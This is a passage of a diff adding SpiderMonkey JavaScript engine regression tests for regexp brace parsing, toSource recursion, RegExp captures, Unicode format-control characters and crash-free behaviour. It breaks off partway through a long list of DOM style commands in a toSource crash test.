+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to ECMA,
+ * but not according to Perl.
+ *
+ * ECMA-262 Edition 3 prohibits the use of unescaped braces in
+ * regexp patterns, unless they form part of a quantifier.
+ *
+ * Hovever, Perl does not prohibit this. If not used as part
+ * of a quantifer, Perl treats braces literally.
+ *
+ * We decided to follow Perl on this for backward compatibility.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=190685.
+ *
+ * Therefore NONE of the following ECMA violations should generate
+ * a SyntaxError. Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /a*{/ ');
+
+status = inSection(14);
+checkThis(' /a{}/ ');
+
+status = inSection(15);
+checkThis(' /{a/ ');
+
+status = inSection(16);
+checkThis(' /}a/ ');
+
+status = inSection(17);
+checkThis(' /x{abc}/ ');
+
+status = inSection(18);
+checkThis(' /{{0}/ ');
+
+status = inSection(19);
+checkThis(' /{{1}/ ');
+
+status = inSection(20);
+checkThis(' /x{{0}/ ');
+
+status = inSection(21);
+checkThis(' /x{{1}/ ');
+
+status = inSection(22);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(23);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(24);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(25);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(26);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(27);
+checkThis(' /x{{1}}/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-192465.js b/js/src/tests/non262/extensions/regress-192465.js
new file mode 100644
index 0000000000..71bfac8dce
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-192465.js
@@ -0,0 +1,122 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 February 2003
+ * SUMMARY: Object.toSource() recursion should check stack overflow
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192465
+ *
+ * MODIFIED: 27 February 2003
+ *
+ * We are adding an early return to this testcase, since it is causing
+ * big problems on Linux RedHat8! For a discussion of this issue, see
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=174341#c24 and following.
+ *
+ *
+ * MODIFIED: 20 March 2003
+ *
+ * Removed the early return and changed |N| below from 1000 to 90.
+ * Note |make_deep_nest(N)| returns an object graph of length N(N+1).
+ * So the graph has now been reduced from 1,001,000 to 8190.
+ *
+ * With this reduction, the bug still manifests on my WinNT and Linux
+ * boxes (crash due to stack overflow). So the testcase is again of use
+ * on those boxes. At the same time, Linux RedHat8 boxes can now run
+ * the test in a reasonable amount of time.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192465;
+var summary = 'Object.toSource() recursion should check stack overflow';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We're just testing that this script will compile and run.
+ * Set both |actual| and |expect| to a dummy value.
+ */
+status = inSection(1);
+var N = 90;
+try
+{
+ make_deep_nest(N);
+}
+catch (e)
+{
+ // An exception is OK, as the runtime can throw one in response to too deep
+ // recursion. We haven't crashed; good! Continue on to set the dummy values -
+}
+actual = 1;
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+/*
+ * EXAMPLE:
+ *
+ * If the global variable |N| is 2, then for |level| == 0, 1, 2, the return
+ * value of this function will be toSource() of these objects, respectively:
+ *
+ * {next:{next:END}}
+ * {next:{next:{next:{next:END}}}}
+ * {next:{next:{next:{next:{next:{next:END}}}}}}
+ *
+ */
+function make_deep_nest(level)
+{
+ var head = {};
+ var cursor = head;
+
+ for (var i=0; i!=N; ++i)
+ {
+ cursor.next = {};
+ cursor = cursor.next;
+ }
+
+ cursor.toSource = function()
+ {
+ if (level != 0)
+ return make_deep_nest(level - 1);
+ return "END";
+ }
+
+ return head.toSource();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-220367-002.js b/js/src/tests/non262/extensions/regress-220367-002.js
new file mode 100644
index 0000000000..5948c24eec
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-220367-002.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var re = /(a)|(b)/;
+
+re.test('a');
+status = inSection(1);
+actual = RegExp.$1;
+expect = 'a';
+addThis();
+
+status = inSection(2);
+actual = RegExp.$2;
+expect = '';
+addThis();
+
+re.test('b');
+status = inSection(3);
+actual = RegExp.$1;
+expect = '';
+addThis();
+
+status = inSection(4);
+actual = RegExp.$2;
+expect = 'b';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-226078.js b/js/src/tests/non262/extensions/regress-226078.js
new file mode 100644
index 0000000000..fe238652ac
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-226078.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 226078;
+var summary = 'Do not Crash @ js_Interpret 3127f864';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function SetLangHead(l){
+ with(p){
+ for(var i in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ printStatus('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){
+ printStatus(id);
+ if (typeof dis === "function") {
+ dis(SetLangHead);
+ }
+ return undefined;
+}};
+SetLangHead(1);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-228087.js b/js/src/tests/non262/extensions/regress-228087.js
new file mode 100644
index 0000000000..c0b1661752
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-228087.js
@@ -0,0 +1,316 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 December 2003
+ * SUMMARY: Testing regexps with unescaped braces
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=228087
+ *
+ * Note: unbalanced, unescaped braces are not permitted by ECMA-262 Ed.3,
+ * but we decided to follow Perl and IE and allow this for compatibility.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206 and its testcase.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273 and its testcase.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 228087;
+var summary = 'Testing regexps with unescaped braces';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var e;
+
+
+string = 'foo {1} foo {2} foo';
+
+// try an example with the braces escaped
+status = inSection(1);
+try
+{
+ pattern = new RegExp('\{1.*\}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// just like Section 1, without the braces being escaped
+status = inSection(2);
+try
+{
+ pattern = new RegExp('{1.*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// try an example with the braces escaped
+status = inSection(3);
+try
+{
+ pattern = new RegExp('\{1[.!\}]*\}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+// just like Section 3, without the braces being escaped
+status = inSection(4);
+try
+{
+ pattern = new RegExp('{1[.!}]*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+
+string = 'abccccc{3 }c{ 3}c{3, }c{3 ,}c{3 ,4}c{3, 4}c{3,4 }de';
+
+// use braces in a normal quantifier construct
+status = inSection(5);
+try
+{
+ pattern = new RegExp('c{3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccc');
+addThis();
+
+// now disrupt the quantifer - the braces should now be interpreted literally
+status = inSection(6);
+try
+{
+ pattern = new RegExp('c{3 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(7);
+try
+{
+ pattern = new RegExp('c{3.}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(8);
+try
+{
+ // need to escape the \ in \s since
+ // this has been converted to a constructor call
+ // instead of a literal regexp
+ pattern = new RegExp('c{3\\s}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(9);
+try
+{
+ pattern = new RegExp('c{3[ ]}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(10);
+try
+{
+ pattern = new RegExp('c{ 3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{ 3}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(11);
+try
+{
+ pattern = new RegExp('c{3,}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(12);
+try
+{
+ pattern = new RegExp('c{3, }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, }');
+addThis();
+
+status = inSection(13);
+try
+{
+ pattern = new RegExp('c{3 ,}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(14);
+try
+{
+ pattern = new RegExp('c{3,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('cccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(15);
+try
+{
+ pattern = new RegExp('c{3 ,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,4}');
+addThis();
+
+status = inSection(16);
+try
+{
+ pattern = new RegExp('c{3, 4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, 4}');
+addThis();
+
+status = inSection(17);
+try
+{
+ pattern = new RegExp('c{3,4 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3,4 }');
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/extensions/regress-245148.js b/js/src/tests/non262/extensions/regress-245148.js
new file mode 100644
index 0000000000..e291056f35
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-245148.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!Array.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245148;
+var summary = '[null].toSource() == "[null]"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '[null]';
+actual = [null].toSource();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-255245.js b/js/src/tests/non262/extensions/regress-255245.js
new file mode 100644
index 0000000000..9d486fe962
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-255245.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 255245;
+var summary = 'Function.prototype.toSource/.toString show "setrval" instead of "return"';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f() {
+ try {
+ } catch (e) {
+ return false;
+ }
+ finally {
+ }
+}
+
+expect = -1;
+actual = f.toSource().indexOf('setrval');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-274152.js b/js/src/tests/non262/extensions/regress-274152.js
new file mode 100644
index 0000000000..0f3cd70e53
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-274152.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274152;
+var summary = 'Do not ignore unicode format-control characters';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ var formatcontrolchars = ['\u200E',
+ '\u0600',
+ '\u0601',
+ '\u0602',
+ '\u0603',
+ '\u06DD',
+ '\u070F'];
+
+ for (var i = 0; i < formatcontrolchars.length; i++)
+ {
+ var char = formatcontrolchars[i];
+
+ try
+ {
+ eval("hi" + char + "there = 'howdie';");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ var hex = char.codePointAt(0).toString(16).toUpperCase().padStart(4, '0');
+ reportCompare(`${expect} U+${hex}`, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-300079.js b/js/src/tests/non262/extensions/regress-300079.js
new file mode 100644
index 0000000000..d2a1090c09
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-300079.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 300079;
+var summary = "precompiled functions should inherit from current window's Function.prototype";
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof clone == 'undefined') {
+ expect = 'SKIPPED';
+ actual = 'SKIPPED';
+ }
+ else {
+ expect = 'PASSED';
+
+ f = evaluate("(function () { return a * a; })", {envChainObject: {a: 3}});
+ gc();
+ try {
+ a_squared = f(2);
+ if (a_squared != 9)
+ throw "Unexpected return from g: a_squared == " + a_squared;
+ actual = "PASSED";
+ } catch (e) {
+ actual = "FAILED: " + e;
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-311161.js b/js/src/tests/non262/extensions/regress-311161.js
new file mode 100644
index 0000000000..7f54f734eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-311161.js
@@ -0,0 +1,1440 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311161;
+var summary = 'toSource exposes random memory or crashes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var commands =
+ [{origCount:1, fun:(function anonymous() {allElements[2].style.background = "#fcd";})},
+{origCount:2, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:3, fun:(function anonymous() {allElements[4].style.width = "200%";})},
+{origCount:4, fun:(function anonymous() {allElements[6].style.clear = "right";})},
+{origCount:5, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})},
+{origCount:6, fun:(function anonymous() {allElements[1].style.overflow = "visible";})},
+{origCount:7, fun:(function anonymous() {allElements[4].style.position = "fixed";})},
+{origCount:8, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-box";})},
+{origCount:9, fun:(function anonymous() {allElements[10].style.overflow = "auto";})},
+{origCount:10, fun:(function anonymous() {allElements[11].style.color = "red";})},
+{origCount:11, fun:(function anonymous() {allElements[4].style.height = "2em";})},
+{origCount:12, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:13, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:14, fun:(function anonymous() {allElements[9].style.color = "blue";})},
+{origCount:15, fun:(function anonymous() {allElements[2].style.clear = "right";})},
+{origCount:16, fun:(function anonymous() {allElements[1].style.height = "auto";})},
+{origCount:17, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:18, fun:(function anonymous() {allElements[4].style.display = "table-row-group";})},
+{origCount:19, fun:(function anonymous() {allElements[4].style.overflow = "auto";})},
+{origCount:20, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:21, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:22, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-group";})},
+{origCount:23, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:24, fun:(function anonymous() {allElements[10].style.position = "static";})},
+{origCount:25, fun:(function anonymous() {allElements[3].style['float'] = "none";})},
+{origCount:26, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:27, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:28, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:29, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:30, fun:(function anonymous() {allElements[2].style.color = "black";})},
+{origCount:31, fun:(function anonymous() {allElements[0].style.position = "fixed";})},
+{origCount:32, fun:(function anonymous() {allElements[0].style.display = "table-row-group";})},
+{origCount:33, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:34, fun:(function anonymous() {allElements[5].style.position = "static";})},
+{origCount:35, fun:(function anonymous() {allElements[6].style.background = "transparent";})},
+{origCount:36, fun:(function anonymous() {allElements[6].style.color = "blue";})},
+{origCount:37, fun:(function anonymous() {allElements[9].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:38, fun:(function anonymous() {allElements[8].style.display = "-moz-grid";})},
+{origCount:39, fun:(function anonymous() {allElements[9].style.color = "black";})},
+{origCount:40, fun:(function anonymous() {allElements[4].style.position = "static";})},
+{origCount:41, fun:(function anonymous() {allElements[10].style.height = "auto";})},
+{origCount:42, fun:(function anonymous() {allElements[9].style.color = "green";})},
+{origCount:43, fun:(function anonymous() {allElements[4].style.height = "auto";})},
+{origCount:44, fun:(function anonymous() {allElements[2].style.clear = "both";})},
+{origCount:45, fun:(function anonymous() {allElements[8].style.width = "1px";})},
+{origCount:46, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:47, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:48, fun:(function anonymous() {allElements[11].style.overflow = "auto";})},
+{origCount:49, fun:(function anonymous() {allElements[11].style['float'] = "left";})},
+{origCount:50, fun:(function anonymous() {allElements[8].style['float'] = "left";})},
+{origCount:51, fun:(function anonymous() {allElements[6].style.height = "10%";})},
+{origCount:52, fun:(function anonymous() {allElements[11].style.display = "-moz-inline-box";})},
+{origCount:53, fun:(function anonymous() {allElements[3].style.clear = "left";})},
+{origCount:54, fun:(function anonymous() {allElements[11].style.visibility = "hidden";})},
+{origCount:55, fun:(function anonymous() {allElements[4].style['float'] = "right";})},
+{origCount:56, fun:(function anonymous() {allElements[0].style.width = "1px";})},
+{origCount:57, fun:(function anonymous() {allElements[3].style.height = "200%";})},
+{origCount:58, fun:(function anonymous() {allElements[7].style.height = "10%";})},
+{origCount:59, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:60, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:61, fun:(function anonymous() {allElements[9].style['float'] = "left";})},
+{origCount:62, fun:(function anonymous() {allElements[4].style.overflow = "scroll";})},
+{origCount:63, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:64, fun:(function anonymous() {allElements[2].style.color = "green";})},
+{origCount:65, fun:(function anonymous() {allElements[3].style['float'] = "none";})},
+{origCount:66, fun:(function anonymous() {allElements[10].style.background = "transparent";})},
+{origCount:67, fun:(function anonymous() {allElements[0].style.height = "auto";})},
+{origCount:68, fun:(function anonymous() {allElements[6].style.clear = "left";})},
+{origCount:69, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:70, fun:(function anonymous() {allElements[8].style.display = "-moz-popup";})},
+{origCount:71, fun:(function anonymous() {allElements[2].style.height = "10%";})},
+{origCount:72, fun:(function anonymous() {allElements[7].style.display = "table-cell";})},
+{origCount:73, fun:(function anonymous() {allElements[3].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:74, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:75, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:76, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:77, fun:(function anonymous() {allElements[0].style.color = "red";})},
+{origCount:78, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:79, fun:(function anonymous() {allElements[5].style.position = "static";})},
+{origCount:80, fun:(function anonymous() {allElements[8].style.clear = "both";})},
+{origCount:81, fun:(function anonymous() {allElements[7].style.clear = "both";})},
+{origCount:82, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:83, fun:(function anonymous() {allElements[10].style.display = "-moz-grid-group";})},
+{origCount:84, fun:(function anonymous() {allElements[12].style.clear = "right";})},
+{origCount:85, fun:(function anonymous() {allElements[5].style['float'] = "left";})},
+{origCount:86, fun:(function anonymous() {allElements[8].style.position = "absolute";})},
+{origCount:87, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:88, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:89, fun:(function anonymous() {allElements[5].style.width = "20em";})},
+{origCount:90, fun:(function anonymous() {allElements[6].style.position = "absolute";})},
+{origCount:91, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:92, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:93, fun:(function anonymous() {allElements[2].style.visibility = "visible";})},
+{origCount:94, fun:(function anonymous() {allElements[11].style.background = "#fcd";})},
+{origCount:95, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})},
+{origCount:96, fun:(function anonymous() {allElements[0].style.color = "blue";})},
+{origCount:97, fun:(function anonymous() {allElements[3].style['float'] = "left";})},
+{origCount:98, fun:(function anonymous() {allElements[3].style.height = "200%";})},
+{origCount:99, fun:(function anonymous() {allElements[4].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:100, fun:(function anonymous() {allElements[12].style.width = "10%";})},
+{origCount:101, fun:(function anonymous() {allElements[6].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:102, fun:(function anonymous() {allElements[5].style.width = "auto";})},
+{origCount:103, fun:(function anonymous() {allElements[1].style.position = "static";})},
+{origCount:104, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:105, fun:(function anonymous() {allElements[5].style['float'] = "right";})},
+{origCount:106, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:107, fun:(function anonymous() {allElements[11].style['float'] = "none";})},
+{origCount:108, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:109, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:110, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:111, fun:(function anonymous() {allElements[6].style.visibility = "collapse";})},
+{origCount:112, fun:(function anonymous() {allElements[11].style.height = "200%";})},
+{origCount:113, fun:(function anonymous() {allElements[3].style.visibility = "visible";})},
+{origCount:114, fun:(function anonymous() {allElements[12].style.width = "200%";})},
+{origCount:115, fun:(function anonymous() {allElements[5].style.height = "10%";})},
+{origCount:116, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:117, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:118, fun:(function anonymous() {allElements[9].style.width = "10%";})},
+{origCount:119, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:120, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:121, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:122, fun:(function anonymous() {allElements[7].style.width = "1px";})},
+{origCount:123, fun:(function anonymous() {allElements[3].style.color = "blue";})},
+{origCount:124, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:125, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:126, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:127, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:128, fun:(function anonymous() {allElements[12].style.color = "green";})},
+{origCount:129, fun:(function anonymous() {allElements[0].style.color = "black";})},
+{origCount:130, fun:(function anonymous() {allElements[1].style.position = "relative";})},
